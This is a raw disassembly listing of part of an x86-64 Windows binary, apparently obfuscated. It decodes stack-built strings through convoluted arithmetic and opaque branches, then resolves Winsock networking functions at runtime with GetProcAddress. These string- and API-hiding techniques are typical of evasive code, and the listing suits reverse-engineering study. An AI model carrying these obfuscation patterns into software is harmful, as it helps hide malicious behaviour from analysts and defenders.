sub r9b, 0x32
add r9b, r11b
mov byte [rbp + r10 + 0x320], r9b
inc r8
dec r10
inc r10
jmp 0x14006c074
movzx r9d, r10b
lea edx, [r9 + 0x6a]
mov ecx, reloc.WS2_32.dll_listen
movzx eax, dl
and al, r11b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
sub r9b, 0x1e
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
sub r9b, 0x2e
add r9b, r11b
add r9b, dil
mov byte [rbp + r10 + 0x320], r9b
jmp 0x14006ca4b
lea edx, [r10 + 0x46]
mov ecx, ntohs
movzx eax, dl
and al, r11b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r11b
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x14006c074
lea rcx, [r10 + r12]
movzx eax, cl
and al, r9b
mov edx, 3
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x320]
add rax, r8
add r10, rax
inc r10
jmp 0x14006c074
sub r10b, 0x26
movzx eax, r10b
and al, r11b
mov ecx, 5
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r11b
jmp 0x14006c071
sub r10b, 0x4a
movzx eax, r10b
and al, r11b
mov ecx, 3
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r11b
jmp 0x14006c061
lea rdx, [rbp + 0x1603d38]
jmp 0x14006caf1
lea rdx, [rbp + 0xa71fca]
jmp 0x14006caf1
lea rdx, [rbp + 0x320]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp - 0x60], rax
mov byte [rbp + 0x350], 0x50
mov byte [rbp + 0x351], reloc.WS2_32.dll_WSACleanup
mov byte [rbp + 0x352], 0x85
mov byte [rbp + 0x353], 0x7b
mov byte [rbp + 0x354], WSAGetLastError
mov byte [rbp + 0x355], 0x85
mov byte [rbp + 0x356], 0x79
mov byte [rbp + 0x357], 0x7f
mov byte [rbp + 0x358], 0x51
mov byte [rbp + 0x359], 0x78
mov byte [rbp + 0x35a], 0x8d
mov byte [rbp + 0x35b], 0x8c
mov byte [rbp + 0x35c], 0x61
mov byte [rbp + 0x35d], 0x7a
mov byte [rbp + 0x35e], 0x63
mov byte [rbp + 0x35f], 0x5e
mov byte [rbp + 0x360], 0x1c
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x361], xmm0
mov qword [rbp + 0x371], rax
mov word [rbp + 0x379], ax
movabs r14, 0x4c3545696ab85182
movabs r12, 0xaddf70b4c07add92
movabs r13, 0xe49fd03c4028f486
movzx edi, byte [rbp + 0x400]
call fcn.1400049a0
mov rbx, qword [rax]
call fcn.1400049b0
mov r8, qword [rax]
nop dword [rax]
nop dword [rax + rax]
xor r11d, r11d
cmp r11, 0x2b
jae 0x14006d6f6
movzx r10d, byte [rbp + r11 + 0x350]
mov r9, r10
nop dword [rax]
cmp rbx, r11
ja 0x14006d6ed
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14006cc1c
lea rcx, [r11 + r14]
mov rax, r10
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, r10
add rdi, rcx
add dil, 0x72
jmp 0x14006cc40
je 0x14006d673
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14006d5da
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14006d5a7
nop dword [rax]
cmp r8, r11
ja 0x14006d6e4
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14006cc6e
lea edx, [r11 - 0x56]
movzx eax, dl
and al, r10b
mov ecx, 0x2d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006cca0
je 0x14006d55c
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14006d543
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14006d527
lea rax, [r8 + 9]
cmp rbx, rax
je 0x14006d4f6
nop dword [rax + rax]
lea rax, [rbx + r8]
cmp rax, r11
jbe 0x14006d236
nop dword [rax]
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x14006d216
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14006d1f1
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14006d1cf
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x14006d1af
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x14006d190
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14006d171
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x14006d155
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x14006d136
lea rax, [r8 + 0xa]
cmp rbx, rax
je 0x14006d105
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x14006ccb0
lea rbx, [r8 + 0x10]
lea r8, [rbx + 0x5a]
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x14006d6c4
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x14006d6a4
lea rax, [r8 + 3]
cmp rbx, rax
jb 0x14006cea5
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x14006ce86
lea rax, [r8 + 2]
cmp rbx, rax
jb 0x14006ce67
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x14006d0b1
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x14006d067
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x14006d022
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x14006cff8
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x14006ccb0
lea rbx, [r8 + 9]
lea r8, [rbx + 0x7a]
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x14006cfca
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x14006cfab
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x14006cf8f
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x14006cf70
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x14006cf4e
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x14006cf2e
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x14006cf09
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x14006cee4
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x14006cec4
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x14006ccb0
lea rbx, [r8 + 6]
lea r8, [rbx + 0x1000]
jmp 0x14006ccb0
lea edx, [r11 - 0x6a]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x1a
add dil, dl
jmp 0x14006cca0
lea edx, [r11 - 0x6e]
movzx eax, r10b
and al, dl
mov ecx, 1
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x14006cc40
lea edx, [r11 - 0x72]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x14006cbe6
lea edx, [r11 + 0x50]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x30
movzx r9d, r11b
jmp 0x14006d577
lea ecx, [r11 + 0x4c]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x14
inc r8
dec r11
inc r11
jmp 0x14006cbd3
lea edx, [r11 + 0x48]
movzx eax, r10b
and al, dl
mov ecx, 4
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
dec r11
inc r11
jmp 0x14006cbd3
lea edx, [r11 + 0x44]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
movzx r9d, r11b
jmp 0x14006d4b0
lea edx, [r11 + 0x40]
movzx eax, r10b
and al, dl
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
add rbx, r8
jmp 0x14006d5c1
lea edx, [r11 + 0x3c]
movzx eax, r10b
and al, dl
mov ecx, 0x2e
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x14006d5c1
lea edx, [r11 + 0x38]
movzx eax, r10b
and al, dl
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
jmp 0x14006d5fe
lea edx, [r11 + 0x34]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x6c
add dil, dl
jmp 0x14006d62c
lea ecx, [r11 + 0x30]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x50
movzx eax, byte [rbp + r11 + 0x350]
add rax, r8
add r11, rax
inc r11
jmp 0x14006cbd3
lea edx, [r11 - 0x5a]
movzx eax, r10b
and al, dl
mov ecx, 0x3b
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
mov byte [rbp + r11 + 0x350], dil
inc r11
jmp 0x14006cbd3
lea edx, [r11 - 0x5e]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x6e
add dil, dl
cmp r8, 0x10
jb 0x14006d012
movzx r9d, r11b
lea edx, [r9 - 0x34]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, dl
lea edi, [rcx*2 - 0x28]
jmp 0x14006d57a
lea edx, [r11 - 0x62]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x52
add dil, dl
cmp rbx, 3
jae 0x14006d491
lea rax, [r8 + 1]
cmp rbx, rax
jbe 0x14006d40d
lea edx, [r11 - 0x5c]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x7c
jmp 0x14006d039
lea edx, [r11 - 0x66]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x36
add dil, dl
lea rax, [rbx + r8]
cmp rax, 5
je 0x14006d4dd
lea rax, [r8 + 0x400]
cmp rbx, rax
jbe 0x14006d33c
lea edx, [r11 - 6]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
jmp 0x14006d07e
lea edx, [r11 - 4]
movzx eax, r10b
and al, dl
mov ecx, recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
movzx eax, byte [rbp + r11 + 0x350]
add rax, r8
add r11, rax
inc r11
jmp 0x14006cbd3
lea edx, [r11 - 8]
movzx eax, r10b
and al, dl
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x14006d62c
lea edx, [r11 - 0xc]
movzx eax, r10b
and al, dl
mov ecx, 0x2a
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
jmp 0x14006d5fe
lea edx, [r11 - 0x10]
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x14006d5c1
lea ecx, [r11 - 0x14]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x74
add rbx, r8
jmp 0x14006d5c1
movzx r9d, r11b
lea edx, [r9 - 0x18]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x58
jmp 0x14006d4b0
lea ecx, [r11 - 0x1c]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x3c
dec r11
inc r11
jmp 0x14006cbd3
lea ecx, [r11 - 0x20]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x20
inc r8
dec r11
inc r11
jmp 0x14006cbd3
movzx r9d, r11b
lea edx, [r9 - 0x24]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 4
jmp 0x14006d577
lea rax, [r8 + 0x10]
cmp rbx, rax
jae 0x14006d25b
lea edx, [r11 - 0x7e]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
jmp 0x14006d0c8
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006d292
lea ecx, [r11 + 0x54]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x4c
movzx eax, byte [rbp + r11 + 0x350]
add rax, r8
add r11, rax
inc r11
jmp 0x14006cbd3
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006d2b7
lea edx, [r11 + 0x5c]
movzx eax, r10b
and al, dl
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
jmp 0x14006d5fe
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006d2df
lea edx, [r11 + 0x60]
movzx eax, r10b
and al, dl
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x14006d5c1
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14006d30a
lea edx, [r11 + 0x64]
movzx eax, r10b
and al, dl
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
add rbx, r8
jmp 0x14006d5c1
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14006d0cb
lea edx, [r11 + 0x6c]
movzx eax, r10b
and al, dl
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
dec r11
inc r11
jmp 0x14006cbd3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006d357
movzx r9d, r11b
lea edx, [r9 - 2]
mov ecx, 7
jmp 0x14006d569
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006d382
lea ecx, [r11 + 6]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x2a
dec r11
inc r11
jmp 0x14006cbd3
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006d3aa
lea ecx, [r11 + 0xe]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x62
add rbx, r8
jmp 0x14006d5c1
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14006d3cf
lea ecx, [r11 + 0x12]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x7e
jmp 0x14006d5c1
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14006d081
lea edx, [r11 + 0x1e]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
movzx eax, byte [rbp + r11 + 0x350]
add rax, r8
add r11, rax
inc r11
jmp 0x14006cbd3
jne 0x14006d440
lea edx, [r11 - 0x58]
movzx eax, r10b
and al, dl
mov ecx, 0x34
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
movzx eax, byte [rbp + r11 + 0x350]
add rax, r8
add r11, rax
inc r11
jmp 0x14006cbd3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006d465
lea edx, [r11 - 0x50]
movzx eax, r10b
and al, dl
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
jmp 0x14006d5fe
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14006d03c
lea edx, [r11 - 0x4c]
movzx eax, r10b
and al, dl
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x14006d5c1
movzx r9d, r11b
lea edx, [r9 - 0x30]
movzx eax, r10b
and al, dl
movzx ecx, byte [rbp + r11 + 0x350]
sub cl, al
add cl, 0x28
lea edi, [rcx + rcx]
add dil, dl
add r9b, 0x52
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
sub r10b, 0x3e
add r10b, r9b
add r10b, dil
mov byte [rbp + r11 + 0x350], r10b
add rbx, r8
jmp 0x14006d5c1
lea edx, [r11 - 0x2c]
movzx eax, r10b
and al, dl
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
jmp 0x14006d5fe
lea edx, [r11 - 0x32]
movzx eax, r10b
and al, dl
mov ecx, 0x2f
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
movzx eax, byte [rbp + r11 + 0x350]
add rax, r8
add r11, rax
inc r11
jmp 0x14006cbd3
lea edx, [r11 - 0x3a]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x6a
jmp 0x14006d5fe
lea ecx, [r11 - 0x3e]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x4e
jmp 0x14006d5c1
movzx r9d, r11b
lea edx, [r9 - 0x52]
mov ecx, 0x1f
movzx eax, r10b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
add r9b, 0x4e
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
sub r10b, 0x22
add r10b, r9b
mov byte [rbp + r11 + 0x350], r10b
inc r8
dec r11
inc r11
jmp 0x14006cbd3
lea rcx, [r11 + r12]
movzx eax, cl
and al, r9b
mov edx, 1
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r9b
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x14006cbd3
movabs rdx, 0x1574e5e1eb0a3a8e
add rdx, r11
movzx r10d, r9b
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
lea edx, [r11 + 0x56]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x5a
add cl, dl
movzx eax, cl
mov byte [rbp + r11 + 0x350], al
inc r8
add rax, r8
sub r11, rax
lea edx, [r11 - 0x28]
movzx eax, r10b
and al, dl
mov ecx, ntohs
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
mov byte [rbp + r11 + 0x350], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x350]
add rax, r8
add r11, rax
inc r11
jmp 0x14006cbd3
lea rcx, [r11 + r13]
movzx eax, cl
and al, r9b
mov edx, 0x2b
sub dl, al
lea edi, [rdx + rdx]
add dil, cl
add dil, r9b
movzx eax, byte [rbp + r11 + 0x350]
add rax, r8
add r11, rax
inc r11
jmp 0x14006cbd3
sub r11b, 0x76
movzx eax, r10b
and al, r11b
mov ecx, 0x1d
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r11b
jmp 0x14006cbd0
sub r11b, 0x7a
movzx eax, r10b
and al, r11b
mov ecx, 0x2b
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r11b
jmp 0x14006cbb4
lea rdx, [rbp + 0x156c6a8]
jmp 0x14006d6fd
lea rdx, [rbp + 0xcf182a]
jmp 0x14006d6fd
lea rdx, [rbp + 0x350]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rbp - 0x58], rax
mov byte [rbp + 0xf0], 0x5b
mov byte [rbp + 0xf1], gethostname
mov byte [rbp + 0xf2], 0x3f
mov byte [rbp + 0xf3], 0x20
mov byte [rbp + 0xf4], recvfrom
mov byte [rbp + 0xf5], 0x22
mov byte [rbp + 0xf6], 0x30
mov byte [rbp + 0xf7], 0x27
mov byte [rbp + 0xf8], 0x2c
mov byte [rbp + 0xf9], 0x26
mov byte [rbp + 0xfa], 0x3b
mov byte [rbp + 0xfb], 0x27
mov byte [rbp + 0xfc], 0x9a
xor eax, eax
mov qword [rbp + 0xfd], rax
movabs rsi, 0x8f3cc204f03705eb
movabs r12, 0xcc2fca18b1131d97
movabs r14, 0xadb6460ed0a511c1
movzx edi, byte [rbp + 0x400]
call fcn.1400049a0
mov rbx, qword [rax]
call fcn.1400049b0
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x15
jae 0x14006e2b8
movzx r10d, byte [rbp + r11 + 0xf0]
mov rdx, r10
nop dword [rax]
cmp rbx, r11
ja 0x14006e2af
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14006d7ec
lea rcx, [r11 + rsi]
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
sub dil, 0x6d
jmp 0x14006d820
je 0x14006e241
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14006e1e0
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14006e188
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14006e141
nop dword [rax]
cmp r8, r11
ja 0x14006e2a6
lea rax, [r8 + 0x1000]
cmp rbx, rax
jae 0x14006d84d
lea ecx, [r11 + 0x47]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0xf
jmp 0x14006d881
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14006e125
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14006e104
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14006e0e9
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14006e09d
lea rax, [rbx + r8]
cmp rax, r11
jbe 0x14006de1d
nop
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14006ddfa
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x14006ddd2
lea rax, [r8 + 0x80]
cmp rbx, rax
je 0x14006ddad
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x14006dd8e
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x14006dd73
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x14006dd58
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x14006dd35
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x14006dd16
lea rax, [r8 + 0x7a]
cmp rbx, rax
je 0x14006dce5
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14006d890
lea rbx, [r8 + 3]
lea r8, [rbx + 9]
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x14006e289
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x14006e26c
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x14006da8f
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x14006da74
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x14006da59
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x14006dc9c
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x14006dc53
lea rax, [r8 + 0x1000]
cmp rbx, rax
jb 0x14006dc0f
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x14006dbe8
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x14006d890
lea rbx, [r8 + 2]
lea r8, [rbx + 0x41]
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x14006dbb7
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x14006db98
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x14006db75
lea rax, [r8 + 6]
cmp rbx, rax
ja 0x14006db59
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x14006db3d
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x14006db1a
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x14006daf5
lea rax, [r8 + 0x400]
cmp rbx, rax
ja 0x14006dacd
lea rax, [r8 + 0x1000]
cmp rbx, rax
ja 0x14006daaa
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x14006d890
lea rbx, [r8 + 1]
lea r8, [rbx + 0x7a]
jmp 0x14006d890
lea ecx, [r11 - 0x67]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x2f
jmp 0x14006d881
lea ecx, [r11 - 0x3d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x55
jmp 0x14006d820
lea ecx, [r11 - 0x13]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7b
jmp 0x14006d7b9
lea edx, [r11 + 0x38]
movzx eax, r10b
and al, dl
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
movzx r9d, r11b
jmp 0x14006e15b
lea edx, [r11 + 0x62]
movzx eax, r10b
and al, dl
mov ecx, 0x29
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
inc r8
dec r11
inc r11
jmp 0x14006d7a6
lea edx, [r11 - 0x74]
movzx eax, r10b
and al, dl
mov ecx, socket
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
dec r11
inc r11
jmp 0x14006d7a6
lea edx, [r11 - 0x4a]
movzx eax, r10b
and al, dl
mov ecx, 3
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
movzx r9d, r11b
jmp 0x14006e1a2
lea ecx, [r11 - 0x20]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x20
jmp 0x14006e1c4
lea ecx, [r11 + 0xa]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 0x46
jmp 0x14006e1c7
lea edx, [r11 + 0x34]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x6c
add dil, dl
movzx r9d, r11b
jmp 0x14006e0b7
lea edx, [r11 + 0x5e]
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x14006e1fa
lea edx, [r11 - 0x78]
movzx eax, r10b
and al, dl
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
movzx eax, byte [rbp + r11 + 0xf0]
add rax, r8
add r11, rax
inc r11
jmp 0x14006d7a6
lea ecx, [r11 - 0xf]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
add dil, 0x69
mov byte [rbp + r11 + 0xf0], dil
inc r11
jmp 0x14006d7a6
lea edx, [r11 + 0x1b]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
add dil, 0x43
add dil, dl
cmp r8, 1
jb 0x14006dbff
movzx r9d, r11b
lea edx, [r9 - 0x5e]
movzx eax, r10b
and al, dl
mov ecx, 9
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
lea edi, [rcx + rcx]
jmp 0x14006e15b
lea ecx, [r11 + 0x45]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x1d
cmp rbx, 2
jae 0x14006e05b
lea rax, [r8 + 8]
cmp rbx, rax
jbe 0x14006df99
lea edx, [r11 + 0x46]
movzx eax, dl
and al, r10b
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006dc29
lea ecx, [r11 + 0x6f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 9
lea rax, [rbx + r8]
cmp rax, 0x28
je 0x14006e086
lea rax, [r8 + 9]
cmp rbx, rax
jbe 0x14006decf
lea ecx, [r11 - 1]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 7
jmp 0x14006dc69
lea edx, [r11 - 0x56]
movzx eax, dl
and al, r10b
mov ecx, 0x2d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx eax, byte [rbp + r11 + 0xf0]
add rax, r8
add r11, rax
inc r11
jmp 0x14006d7a6
lea edx, [r11 - 0x2c]
movzx eax, dl
and al, r10b
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006e1fa
movzx r9d, r11b
lea edx, [r9 - 2]
movzx eax, dl
and al, r10b
mov ecx, 7
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006e0b7
lea ecx, [r11 + 0x28]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x18
jmp 0x14006e1c7
lea ecx, [r11 + 0x52]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x3e
jmp 0x14006e1c4
movzx r9d, r11b
lea ecx, [r9 + 0x7c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x64
jmp 0x14006e1a2
lea edx, [r11 - 0x5a]
movzx eax, dl
and al, r10b
mov ecx, 0x3b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
dec r11
inc r11
jmp 0x14006d7a6
lea edx, [r11 - 0x30]
movzx eax, dl
and al, r10b
mov ecx, 0x28
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
inc r8
dec r11
inc r11
jmp 0x14006d7a6
movzx r9d, r11b
lea edx, [r9 - 6]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006e15b
lea rax, [r8 + 0x42]
cmp rbx, rax
jae 0x14006de41
lea ecx, [r11 - 0x15]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x6d
jmp 0x14006dcb2
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14006de7b
lea edx, [r11 - 0x72]
